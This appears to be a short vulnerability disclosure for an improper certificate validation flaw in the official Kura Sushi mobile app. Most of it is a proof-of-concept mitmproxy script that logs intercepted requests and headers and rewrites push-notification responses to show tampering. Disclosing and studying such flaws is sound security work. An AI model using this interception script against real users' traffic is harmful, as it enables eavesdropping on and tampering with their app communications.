CVE-2026-41872: Kura Sushi官方应用程序证书验证不当漏洞

# PoC Concept: Demonstrating a Man-in-the-Middle (MitM) setup to intercept traffic. # This requires the attacker to be on the same network as the victim. # Tools like mitmproxy can be used because the app accepts any certificate. from mitmproxy import http class Interceptor: def request(self, flow: http.HTTPFlow) -> None: # Log the intercepted request URL and headers print(f"[+] Intercepted Request: {flow.request.pretty_url}") print(f"[+] Headers: {flow.request.headers}") def response(self, flow: http.HTTPFlow) -> None: # Check if the traffic is related to push notifications if "push" in flow.request.path.lower() or "notification" in flow.request.path.lower(): print(f"[+] Sensitive Push Notification Traffic Detected!") # Example of tampering with the response (Integrity impact demonstration) original_content = flow.response.content print(f"[+] Original Payload: {original_content}") # Inject a test message to prove tampering capability modified_content = original_content.replace(b"status", b"tampered_status") flow.response.content = modified_content print(f"[+] Modified Payload Sent to App: {modified_content}") # Addons configuration for mitmproxy addons = [Interceptor()]